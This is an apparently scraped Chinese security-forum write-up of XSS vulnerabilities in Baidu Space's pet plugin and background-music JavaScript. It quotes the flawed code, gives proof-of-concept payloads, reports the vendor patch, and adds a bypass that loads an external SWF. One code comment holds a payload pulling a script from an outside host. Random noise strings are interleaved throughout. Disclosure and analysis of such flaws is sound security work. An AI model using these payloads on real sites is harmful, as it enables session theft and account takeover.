百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
7 u: J9 m) |: P* J" ]2 Z& ^9 Z. E6 d
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 7 L9 f- [+ H) m: N J- t9 @
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
! [+ S; d# ?1 X& M% W
$ d# p( J! d' g, e* u9 C将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
: F! ?0 ^8 r$ I1 b% R6 r; y7 f- i其中BdUtil.insertWBR为
: K8 y, @% C7 c. C; \function(text, step) {
. h! e( N: k4 Q7 f$ p, q/ o var textarea = textAreaCache || getContainer();
- F! t2 F7 I3 T5 n if (!textarea) { / k1 w( E0 i& O3 _
return text; 2 V: X5 L. n; ]1 u4 [0 T" V4 q
} * a) I+ k) ^+ d3 d$ E k: p" |
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
1 z) K% M: j* l- O$ M$ O7 a var string = textarea.value;
* g2 y/ e- w1 K+ I9 w" { var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); % {$ P" ^; E0 Y0 g
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
2 Q3 ^+ l7 d5 p+ F- {2 S6 S return result;
9 o) g% K0 Y: \+ d/ V& ]8 f. |( Q} 0 z7 F$ k5 K8 \" z" C4 g
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
" R" s1 ~2 M: Z; h测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
7 ] K. Z# Q$ d' C$ e 0 U c0 S# A& x9 {& T3 f8 b9 M; a
二:creatbgmusic() Dom-Xss Bug 9 w4 |2 Z. L ~3 d d
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 ' R% b: e9 O) O1 p, J- L
' {! M) p8 J4 D6 A, l L在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 6 `$ a/ F4 z3 k' v6 v. V
. K6 D' g% a8 R9 d( X z2 W% k" d
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ) E4 Q9 Z& r( x! h% \+ d1 y: M% X
//传入的murl赋值到bgmusic1和bgmusic2中 . j% u' {7 w* O" r
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
7 i$ j& w( e2 N& F; a7 z* t var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 5 X2 [/ r( r& V. t7 p
if (musicnum <= 1) { x9 s6 ~5 C. m
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
+ [) J d* r- e) B" H' u3 l2 J } [5 |) k7 S" z5 T: L
bgmusic1 += "</OBJECT>"; 9 H' G3 x% _" Z8 |" K
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
( b( I, n: D- r; x9 V, q if (musicnum <= 1) {
9 \+ |" E' y7 u: S bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; & C3 O$ c$ t, s0 ~
}
: d% A0 W8 m! J: i D. {6 m bgmusic2 += "> </EMBED>"; 0 n; F) t5 z; U+ q
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; % @- F5 C/ ?$ ]" t
var bgmus = detectWMP();
3 J7 N% `2 H0 |4 A3 t7 a if (functype == "FckMusicHelper") { ( y+ P! [# n3 ^& y7 u. ^! ^
if (bgmus.installed) { 8 R! M6 q. |, B, }9 n+ l
if (bgmus.type == "IE") { 7 w6 d( V: O: b* |; \6 z; D
return bgmusic1;
' c! t& y1 c, q+ J } else if (bgmus.type == "NS") {
& Y: K) e4 U) z0 ? n6 R return bgmusic2;
( J/ a3 }# t( R5 D# N }
7 |% T# L3 \' ~ } else {
% S$ B0 y4 o/ U4 ~/ I return bgmusic3;
$ P0 _! k* R8 n M; R }
& Y) N* y0 R& D3 j5 J } else {
% a( M5 g4 K& c% ~5 }2 e0 K if (bgmus.installed) { * Y g3 D1 z/ s6 A1 ?# _
//document.write 直接输出bgmusic变量 导致xss 5 u- c4 z k1 U# q" D$ f
if (bgmus.type == "IE") { M& n1 Q& L# Q( j$ |7 G& I5 s' H
document.write(bgmusic1);
) R- a$ X& g+ n3 b3 \5 v; r } else if (bgmus.type == "NS") { 7 d. m1 G; y% C! v
document.write(bgmusic2);
0 E3 \$ b' S4 }1 K5 p& d }
E5 E0 W/ t# E; |3 [ } else {
* l' L# x; T8 Y document.write(bgmusic3); 6 z4 F! {$ T( i+ R% f" r3 D
}
_& K3 Q; h* _8 h( i+ } return ""; ; [. c8 r/ b/ P9 U+ P
} : Y: b* v y5 U: |
} , Z3 _7 Y# @( P! s4 j& @0 T
) N2 B9 g0 `7 c& s( F
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
0 C, w. [6 ~& S+ T% u" X, E
; B1 p* C, A' O! I# [. xfunction initBlogTextForFCK(){
' }+ X9 n' h% o2 j) ^: n//fck init music & z4 R, Z p f. Z
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 9 p$ U% [5 s, B$ o6 x& u
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
6 O y$ q! W/ n3 k$ ivar isAutoPlay=true;
5 d3 j+ {( c/ i. j* Z% nfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
* F! p9 o, @, N E" V! S% A var img=imgBox; . Z, K, ]. w3 X
if(img.getAttribute(’rel’)){
9 K, V5 M/ G' U$ @; x7 j var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
5 i7 X, O* h4 p' x. ~& f6 h- b var musicDiv = document.createElement("SPAN"); ; T: g! e$ N6 D) L `1 @$ i0 }
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] / T( ]3 K8 e$ Q2 b- \7 K5 `( o _
% D4 j/ H; d% P, I5 b- ~; i! b
..........................
5 Y0 A8 \) R. F b" g4 m* x+ W6 L9 o9 ^
8 R+ d& V( i0 b4 } i- ^* m6 M //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
R% p3 M Y0 `- F* P var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); # l, o: d+ c# ~: \
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); % J. y2 W7 |/ _7 E0 d# }: s% I# a
musicDiv.innerHTML=shtml; / Z5 U1 ?- D# q! _
i--;n--; ' a3 F2 ]0 `) h; @+ g1 C
} 0 d: g% |( f y; } e+ f8 A
}
h* l* a* K) o1 j8 |' e1 H# I% m; G- ~! ]- L
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. $ b# A7 c7 [7 n! W: `
% G0 [8 W, l6 S/ A& n3 C. C
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
/ K! \, v# I* G- |) y1 Z
a8 c2 U# @! p; T# i; ~等待官方补丁 & a. q& [' D$ a% O+ j4 b
1 A7 {3 B0 P' p8 Tupdate 2010年5月13日
; i: |, n8 b6 F p( y0 T* k3 P' V3 I1 G, k. _
官方补丁: ) @7 T9 W( C# K' c
, M0 D, C; k; m( b1 fvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); " w7 ]2 G% S/ ~, p( ~2 w
改为: ( O: k7 F3 E/ V+ L% u
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
# F( w, N% O4 |: h G
' Q1 g3 \ T* v7 Y5 }. Uupdate 2010年5月13日 21:50:37 9 @3 e1 C9 O( o( z/ X3 K: r
! v; v& F& S; a9 l3 l, P1 P补丁存在漏洞 没有过滤" 可以继续跨:
% G- W$ h) v. p/ q5 c# I
4 _6 m# N2 c% t b; }: G2 R; lNEW POC: 3 w4 W, t- Q4 u- f
4 A+ p, ~1 x" q4 a0 r) @1 N" a" ]. ]<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 1 p; _' \+ W; N5 k
/ B5 ?) l: d& E! s9 Oallowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! J) Q% y* Y9 t! b$ Y& D, u& U 9 x' ~* g% n( s9 i+ n
|